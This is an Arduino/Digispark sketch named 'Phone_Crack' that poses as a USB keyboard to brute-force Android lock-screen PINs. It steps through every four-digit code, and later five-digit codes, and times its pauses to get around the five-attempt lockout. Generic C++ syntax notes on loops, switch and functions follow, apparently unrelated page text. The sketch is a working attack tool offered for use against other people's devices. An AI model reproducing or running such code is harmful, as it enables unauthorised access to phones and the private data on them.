/*===============================================
Phone_Crack -  4 Digit PIN - Brute Force Attack on Android 
Smartphones that Supports OTG-Usb  
    AMH Tech Sl sco
===============================================*/

#include "DigiKeyboard.h"
int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int a = 0; //1st digit
int b = 0; //2nd digit
int c = 0; //3rd digit
int d = 0; //4th digit
int e = 0; //5th digit
int count = 0;
bool key_stroke_e = false;

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
  delay(3000);
}

void loop() {
  //After 5 attempts, initialize 31000 ms wait to retry.
  if(count == 5){
    digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
    DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
    delay(31000);
    count = 0;
    digitalWrite(1,LOW);
  }
  /*Sends keystrokes based upon the values between 0-9 
  It will start bruting 5 digits if a exceeds 10*/
  if (key_stroke_e == false)
    DigiKeyboard.sendKeyStroke(num[a]);
    DigiKeyboard.sendKeyStroke(num[b]);
    DigiKeyboard.sendKeyStroke(num[c]);
    DigiKeyboard.sendKeyStroke(num[d]);
  //check for whether it is true. If so, use 5 digits instead.
  if (key_stroke_e == true){
    DigiKeyboard.sendKeyStroke(num[a]);
    DigiKeyboard.sendKeyStroke(num[b]);
    DigiKeyboard.sendKeyStroke(num[c]);
    DigiKeyboard.sendKeyStroke(num[d]);
    DigiKeyboard.sendKeyStroke(num[e]);
  }
  DigiKeyboard.sendKeyStroke(40);
  delay(1000);
  d++;
  count++;
  //If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit 
  if(d == 10){
    d = 0;
    c++;
    //If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit
    if(c == 10){
      c = 0;
      b++;
      //If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit
      if(b == 10){
        b = 0;
        a++; //if the 1st digit is past 9 it'll probably just throw out errors.
  if(a == 10){
    //remain_true will equal true, loop through void(), and send the 5th keystroke
    key_stroke_e = true;
    e++;
    //Remember that brute forcing will still work, despite its strange order.
    //After e == 10, it will become 0 again.
    if(e == 10){
      e = 0;
    }
  }
      }  
    }
  }    
}
 

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About C++

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Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
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}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
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case value2:    
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......    
    
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 code to be executed when all the above cases are not matched;    
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For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
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4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
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5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}